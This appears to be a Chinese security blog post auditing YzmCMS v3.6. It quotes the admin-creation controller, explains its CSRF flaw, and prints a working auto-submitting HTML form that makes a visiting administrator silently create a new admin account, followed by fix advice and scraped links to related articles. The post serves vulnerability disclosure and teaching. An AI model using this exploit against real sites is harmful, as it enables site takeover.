0x00 环境准备

YzmCMS官网:http://www.yzmcms.com/

程序源码下载:http://pan.baidu.com/s/1pKA4u99

测试网站首页:

0x01 代码分析

1、文件位置: /application/admin/controller/admin_manage.class.php第35-59行中:

  1. public function add() {
  2. $admin = D('admin');
  3. $admin_role = D('admin_role');
  4. $roles = $admin_role->where(array('disabled'=>'0'))->select();
  5. if(isset($_POST['dosubmit'])) {
  6. if(!is_username($_POST["adminname"]))  return_json(array('status'=>0,'message'=>L('user_name_format_error')));
  7. if(!is_password($_POST["password"])) return_json(array('status'=>0,'message'=>L('password_format_error')));
  8. if($_POST["email"]!=''){
  9. if(!is_email($_POST["email"])) return_json(array('status'=>0,'message'=>L('mail_format_error')));
  10. 10.         }
  11. 11.         $res = $admin->where(array('adminname'=>$_POST["adminname"]))->find();
  12. 12.         if($res) return_json(array('status'=>0,'message'=>L('user_already_exists')));
  13. 13.
  14. 14.         $_POST['password'] = password($_POST['password']);
  15. 15.         $r = $admin_role->field('rolename')->where(array('roleid' => $_POST['roleid']))->find();
  16. 16.         $_POST['rolename'] = $r['rolename'];
  17. 17.         $_POST['addtime'] = SYS_TIME;
  18. 18.         $_POST['addpeople'] = $_SESSION['adminname'];
  19. 19.         $admin->insert($_POST);
  20. 20.         return_json(array('status'=>1,'message'=>L('operation_success')));
  21. 21.     } else {
  22. 22.         include $this->admin_tpl('admin_add');
  23. 23.     }
  24. 24.

25. }

 

这段函数中进行添加管理员操作,只进行管理员身份验证,未对访问来源进行识别,导致程序在实现上存在CSRF漏洞。

0x02 漏洞利用

1、构造CSRF漏洞利用代码如下:

  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
  2. <html>
  3. <head>
  4. <title>OWASP CRSFTester Demonstration</title>
  5. </head>
  6. <body onload="javascript:fireForms()">
  7. <script language="JavaScript">
  8. var pauses = new Array( "68" );
  9. 10.

11. function pausecomp(millis)

12. {

  1. 13.     var date = new Date();
  2. 14.     var curDate = null;
  3. 15.
  4. 16.     do { curDate = new Date(); }
  5. 17.     while(curDate-date < millis);

18. }

  1. 19.

20. function fireForms()

21. {

  1. 22.     var count = 1;
  2. 23.     var i=0;
  3. 24.
  4. 25.     for(i=0; i<count; i++)
  5. 26.     {
  6. 27.         document.forms[i].submit();
  7. 28.
  8. 29.         pausecomp(pauses[i]);
  9. 30.     }

31. }

  1. 32.

33. </script>

34. <H2>OWASP CRSFTester Demonstration</H2>

35. <form method="POST" name="form0" action="http://127.0.0.1:80/admin/admin_manage/add.html">

36. <input type="hidden" name="adminname" value="admin"/>

37. <input type="hidden" name="password" value="abc123!"/>

38. <input type="hidden" name="password2" value="abc123!"/>

39. <input type="hidden" name="email" value=""/>

40. <input type="hidden" name="realname" value=""/>

41. <input type="hidden" name="roleid" value="1"/>

42. <input type="hidden" name="dosubmit" value="1"/>

43. </form>

44. </body>

45. </html>

2、当管理员浏览该页面时,自动创建管理员账号admin

3、利用admin账号可成功登录后台进行任意操作。

0x03 修复建议

1、通过token或者session来判断当前用户身份

2、敏感操作需要验证码,更改密码需要验证老密码。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】YzmCMS_PHP_v3.6 CSRF漏洞分析的更多相关文章

  1. php代码审计7审计csrf漏洞

    跨站请求伪造,也有人写出xsrf,黑客伪造用户的http请求,然后将http请求发送给存在csrf的网站,网站执行了伪造的http请求,就引发了跨站请求伪造 漏洞危害:攻击者盗用了你的身份信息,以你的 ...

  2. 【代码审计】YzmCMS_PHP_v3.6 代码执行漏洞分析

      0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...

  3. 代码审计之DocCms漏洞分析

    0x01 前言 DocCms[音译:稻壳Cms] ,定位于为企业.站长.开发者.网络公司.VI策划设计公司.SEO推广营销公司.网站初学者等用户 量身打造的一款全新企业建站.内容管理系统,服务于企业品 ...

  4. Web 漏洞分析与防御之 CSRF(二)

    原文地址:Web 漏洞分析与防御之 CSRF(二) 博客地址:http://www.extlight.com 一.全称 跨站请求伪造(Cross-site Request Forgery) 二.原理 ...

  5. 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计

    Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.   Apache Shiro默认使用了CookieRe ...

  6. PHP代码审计笔记--CSRF漏洞

    0x01 前言 CSRF(Cross-site request forgery)跨站请求伪造.攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻 ...

  7. 2020/1/30 PHP代码审计之CSRF漏洞

    0x00 CSRF漏洞 CSRF(Cross-site request forgery)跨站请求伪造:也被称为"One Click Attack"或者Session Riding, ...

  8. CSRF 漏洞测试

    CSRF简介: CSRF中文名:跨站请求伪造,英文译为:Cross-site request forgery,CSRF攻击就是attacker(攻击者)利用victim(受害者)尚未失效的身份认证信息 ...

  9. 74CMS 3.0 CSRF漏洞

    一. 启动环境 1.双击运行桌面phpstudy.exe软件 2.点击启动按钮,启动服务器环境 二.代码审计 1.双击启动桌面Seay源代码审计系统软件 2.因为74CMS3.0源代码编辑使用GBK编 ...

随机推荐

  1. java知识思维图解

  2. SpringMvc+Mybatis+Maven+Mysql做一个CRUD的简单例子

    本文档结合 SpringMVC. Mybatis. MySQL,说明如何实现一个简单的数据库单表 CRUD操作.开发工具使用集成了spring mvc的eclipse(Spring Tool Suit ...

  3. [Sqoop]将Hive数据表导出到Mysql

    业务背景 mysql表YHD_CATEG_PRIOR的结构例如以下: -- Table "YHD_CATEG_PRIOR" DDL CREATE TABLE `YHD_CATEG_ ...

  4. 最课程学员启示录:这么PL的小姐姐你要不要

    最课程学员启示录:这么PL的小姐姐给你做……你要不要? 想撒呢,给你做程序媛你要不要? 一句话,先上图,而且必须是经得住考验的素颜无码高清大图身份照: 我觉得未来我们可以搞个校花评选,你们不反对的话, ...

  5. springboot自定义http反馈状态码

    最近在开发一些http server类型程序,通过spring boot构建一些web程序,这些web程序之间通过http进行数据访问.共享,如下图: 假设现在client发起一次保存数据的请求到se ...

  6. Android典型界面设计(7) ——DrawerLayout+Fragement+ViewPager+PagerTabStrip实现双导航

    一.问题描述 在Android典型界面设计(3)的我们实现了双导航效果,即外层底部导航和内部区域的头部导航,如网易新闻等很多应用采用了这种导航,但Google提供DrawerLayout可实现抽屉式导 ...

  7. Morris图表使用小记

    挺好用的,碰到几个问题,有的是瞎试解决了的: 1.我想折线图能够响应单击事件,即点击某个节点后,就能加载进一步的信息,帮助没找到,参照另外一个地方的写法,居然支持事件 Morris.Line({ el ...

  8. 郑晔谈 Java 开发:新工具、新框架、新思维【转载】【整理】

    原文地址 导语:"我很惊讶地发现,现在许多程序员讨论的内容几乎和我十多年前刚开始做 Java 时几乎完全一样.要知道,我们生存的这个行业号称是变化飞快的.其实,这十几年时间,在开发领域已经有 ...

  9. Android属性allowBackup安全风险浅析

    1.allowBackup安全风险描述 Android API Level 8及其以上Android系统提供了为应用程序数据的备份和恢复功能,此功能的开关决定于该应用程序中AndroidManifes ...

  10. c++设计一个无法被继承的类

    要求是该类不能被继承,但是能够像正常的类一样使用.那么一下方法就不符合题目要求: 1.构造函数和析构函数设置为private.这样就不能定义一个类的实例 2.类似于singleton模式那样,定义一个 ...